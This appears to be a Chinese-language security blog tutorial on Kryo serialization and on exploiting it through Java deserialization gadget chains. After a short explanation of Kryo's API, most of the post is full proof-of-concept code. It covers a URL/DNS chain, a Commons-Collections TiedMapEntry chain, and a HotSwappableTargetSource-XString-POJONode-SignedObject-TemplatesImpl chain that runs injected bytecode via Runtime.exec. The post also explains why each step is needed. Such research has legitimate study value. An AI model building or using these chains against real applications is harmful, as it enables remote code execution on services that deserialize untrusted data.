demo 首先看个简单的demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 package org.example; import com.esotericsoftware.kryo.Kryo; import com.esotericsoftware.kryo.io.Input; import com.esotericsoftware.kryo.io.Output; import java.nio.file.Files; import java.nio.file.Paths; public class Test { public static void main(String[] args) throws Exception { Kryo kryo = new Kryo(); kryo.register(MyClass.class); MyClass myClass = new MyClass(); myClass.setHello("Hello Kryo"); myClass.setNum(11); Output output = new Output(Files.newOutputStream(Paths.get("file.bin"))); kryo.writeObject(output, myClass); output.close(); Input input = new Input(Files.newInputStream(Paths.get("file.bin"))); MyClass obj = kryo.readObject(input, MyClass.class); input.close(); System.out.println(obj); } }
3种序列化与反序列化 如果是知道序列化类型,并且不为空
1 2 kryo.writeObject(output, object); SomeClass object = kryo.readObject(input, SomeClass.class);
如果是知道序列化类型,并且有可能为空
1 2 kryo.writeObjectOrNull(output, object); SomeClass object = kryo.readObjectOrNull(input, SomeClass.class);
如果都是不确定的
1 2 3 4 5 kryo.writeClassAndObject(output, object); Object object = kryo.readClassAndObject(input); if (object instanceof SomeClass) { // ... }
kryo注册 当不知道序列化的类是什么的时候可以不用注册,一般是为了提高反序列化的效率启用这种注册功能。
1 2 3 4 5 6 7 8 9 Kryo kryo = new Kryo(); kryo.register(SomeClass.class); Output output = ... SomeClass object = ... kryo.writeObject(output, object); Kryo kryo = new Kryo(); kryo.register(SomeClass.class, 9); kryo.register(AnotherClass.class, 10); kryo.register(YetAnotherClass.class, 11);
看到上面两段代码,第一个没有id,他会自动给你分配id,后面那段是在参数中提供id,这个id在序列化和反序列化的时候要保持一致,不能用9的去反序列化10的
序列化 首先获取前面获取的register
然后就开始写入序列化数据
最后会根据serializer类型写入序列化数据,在这里的serializer就是string类型的
更加详细的就不说了,还是得自己调试才行,总体流程就是
获取registration
获取filed,进行filed.write
在write中获取相对应的serializer
调用serializer.write,进行最后的写入
反序列化 反序列化的流程与序列化基本一致,只不过就是把write改为了read 当反序列化的类型为一个Object类型的时候,可以看到如下的过程,先创建一个Object的实例,接着循环把成员变量那些给赋值上
看看Create中的实现 他主要有几个步骤
获取到无参构造
如果是private类型,就先让他变成可以访问的 -> ctor.setAccessible(true);
调用无参构造函数,并返回该实例
但是有些利用链可能没有无参构造这时候应该怎么办 看到官网
The Objenesis StdInstantiatorStrategy uses JVM specific APIs to create an instance of a class without calling any constructor at all. Using this is dangerous because most classes expect their constructors to be called.kryo.setInstantiatorStrategy(new DefaultInstantiatorStrategy(new StdInstantiatorStrategy()));
当设置这个策略的时候会不调用任何的构造函数
常用调用链 常用的调用链基本是因为HashMap.put中,会调用到key的equals方法和hashcode方法,而key又是我们可控的,这时候就可以进行一些常规的调用链利用了
首先看到他先反序列化了key,接着反序列化了value,最后进行了put操作
hashCode利用
可以看到hash中触发了key的hashcode方法
URL 首先是最简单的URL利用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 package org.example; import com.esotericsoftware.kryo.Kryo; import com.esotericsoftware.kryo.io.Input; import com.esotericsoftware.kryo.io.Output; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.net.URI; import java.net.URL; import java.net.URLStreamHandler; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; public class Test { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception { Kryo kryo = new Kryo(); kryo.setRegistrationRequired(false); HashMap<Object, Object> s = new HashMap<>(); setFieldValue(s, "size", 1); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch (ClassNotFoundException e) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); URL v2 = new URL("http://x.xxx.tu4.org"); Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v2, 0, null)); setFieldValue(s, "table", tbl); Output output = new Output(Files.newOutputStream(Paths.get("file.bin"))); kryo.writeClassAndObject(output,s); output.close(); Input input = new Input(Files.newInputStream(Paths.get("file.bin"))); Object obj = kryo.readClassAndObject(input); } }
具体就不分析了,就是会触发URL.hashcode最后触发dnslog
TiedMapEntry 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 package org.example; import com.esotericsoftware.kryo.Kryo; import com.esotericsoftware.kryo.io.Input; import com.esotericsoftware.kryo.io.Output; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import org.objenesis.strategy.StdInstantiatorStrategy; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.net.MalformedURLException; import java.net.URL; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; import static org.example.Test.setFieldValue; public class Main { public static void main(String[] args) throws Exception { Kryo kryo = new Kryo(); kryo.setRegistrationRequired(false); kryo.setInstantiatorStrategy(new StdInstantiatorStrategy()); Transformer[] transformer = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"}) }; ChainedTransformer ct = new ChainedTransformer(transformer); Map innermap = new HashMap(); Map lazymap = LazyMap.decorate(innermap,new ConstantTransformer(0)); HashMap mp = new HashMap(); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"lsf"); lazymap.clear(); Field field = LazyMap.class.getDeclaredField("factory"); field.setAccessible(true); field.set(lazymap,ct); HashMap<Object, Object> s = new HashMap<>(); setFieldValue(s, "size", 1); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch (ClassNotFoundException e) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object v2 = tiedMapEntry; Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v2, v2, null)); setFieldValue(s, "table", tbl); Output output = new Output(Files.newOutputStream(Paths.get("file.bin"))); kryo.writeClassAndObject(output,s); output.close(); Input input = new Input(Files.newInputStream(Paths.get("file.bin"))); Object obj = kryo.readClassAndObject(input); } }
按理来说应该是可以触发的,但是设置了new StdInstantiatorStrategy() 反序列化的create方法会把TiedMapEntry中的map变量名认成是value 导致无法利用
equals 首先要触发到equals必须要有两个元素(node),而且该元素必须是同一类的,来看看HashMap的putVal源码看看为什么 如果两个类都不是同一个类,就会直接进入到该if当中,而不会执行下面的equals。 接下来看看具体的代码
HotSwappableTargetSource 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 package org.example; import com.esotericsoftware.kryo.Kryo; import com.esotericsoftware.kryo.io.Input; import com.esotericsoftware.kryo.io.Output; import com.fasterxml.jackson.databind.node.POJONode; import com.rometools.rome.feed.impl.EqualsBean; import com.rometools.rome.feed.impl.ToStringBean; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xpath.internal.objects.XString; import com.sun.rowset.JdbcRowSetImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import javassist.CtNewConstructor; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import org.objenesis.strategy.StdInstantiatorStrategy; import org.springframework.aop.target.HotSwappableTargetSource; import org.springframework.aop.target.HotSwappableTargetSource; import org.springframework.integration.codec.CodecMessageConverter; import org.springframework.integration.codec.kryo.MessageCodec; import org.springframework.messaging.Message; import org.springframework.messaging.MessageHeaders; import org.springframework.messaging.support.GenericMessage; import javax.management.BadAttributeValueExpException; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.net.URI; import java.net.URL; import java.net.URLStreamHandler; import java.nio.file.Files; import java.nio.file.Paths; import java.security.*; import java.util.HashMap; import java.util.HashSet; import java.util.Map; public class Test { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception { Kryo kryo = new Kryo(); kryo.setRegistrationRequired(false); kryo.setInstantiatorStrategy(new StdInstantiatorStrategy()); // 二次反序列化 ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("EvilGeneratedByJavassist"); ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet")); CtConstructor ctConstructor = CtNewConstructor.make("public EvilGeneratedByJavassist(){Runtime.getRuntime().exec(\"open -a calculator\");}", ctClass); ctClass.addConstructor(ctConstructor); byte[] byteCode = ctClass.toBytecode(); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "whatever"); setFieldValue(templates, "_bytecodes", new byte[][]{byteCode}); POJONode pojoNode1 = new POJONode(templates); // 初始化 SignedObject KeyPairGenerator keyPairGenerator; keyPairGenerator = KeyPairGenerator.getInstance("DSA"); keyPairGenerator.initialize(1024); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signingEngine = Signature.getInstance("DSA"); // 设置二次反序列化入口 SignedObject signedObject = new SignedObject(pojoNode1, privateKey, signingEngine); // 一次反序列化 POJONode pojoNode2 = new POJONode(signedObject); HotSwappableTargetSource h1 = new HotSwappableTargetSource(pojoNode2); HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("s")); Output output = new Output(Files.newOutputStream(Paths.get("file.bin"))); HashMap hashMap = new HashMap(); setFieldValue(hashMap, "size", 2); Class nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch (ClassNotFoundException e) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, h1, h1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, h2, h2, null)); setFieldValue(hashMap, "table", tbl); Output s = new Output(Files.newOutputStream(Paths.get("file.bin"))); kryo.writeClassAndObject(s,hashMap); s.close(); Input input = new Input(Files.newInputStream(Paths.get("file.bin"))); Object obj = kryo.readClassAndObject(input); } }
利用链是HotSwappableTargetSource.equals->XString.equals->POJONode.toString->SignedObject.getObject->POJONode.toString->getOutputProperties 可能有人会好奇为什么要绕一大圈调用两个POJONode.toString才能执行,直接调用最后那个不就行了吗,但是kryo默认是不反序列化transient字段的
所以_tfactory是不会被反序列化的,这样导致POJONode调用getter方法的时候会报错,导致执行不了getOutputProperties
Kryo反序列化Javabean 上面的反序列化都是默认去调用FieldSerializer 但是还有很多其他类型的Serializer,都继承Serializer
这里面第一个就引起了我的注意,很多反序列化链都是通过调用一些JavaBean去触发一些操作的
看到简介,如何使用该Serializer 这里我直接给出简单的demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public class Main { public static void main(String[] args) throws Exception { Kryo kryo = new Kryo(); kryo.register(MyClass.class,new BeanSerializer(kryo, MyClass.class)); MyClass s = new MyClass(); s.setNum(10); s.setHello("hello"); Output output = new Output(Files.newOutputStream(Paths.get("file.bin"))); kryo.writeObject(output,s); output.close(); Input input = new Input(Files.newInputStream(Paths.get("file.bin"))); Object obj = kryo.readObject(input, MyClass.class); } }
read and write 先来看看源码
可以发现两个函数都有个 property.get property.set
这些就会触发该类的Bean方法 那么其他操作就应该类似于Fastjson里面的那些类了,这里就不在过多叙述了
参考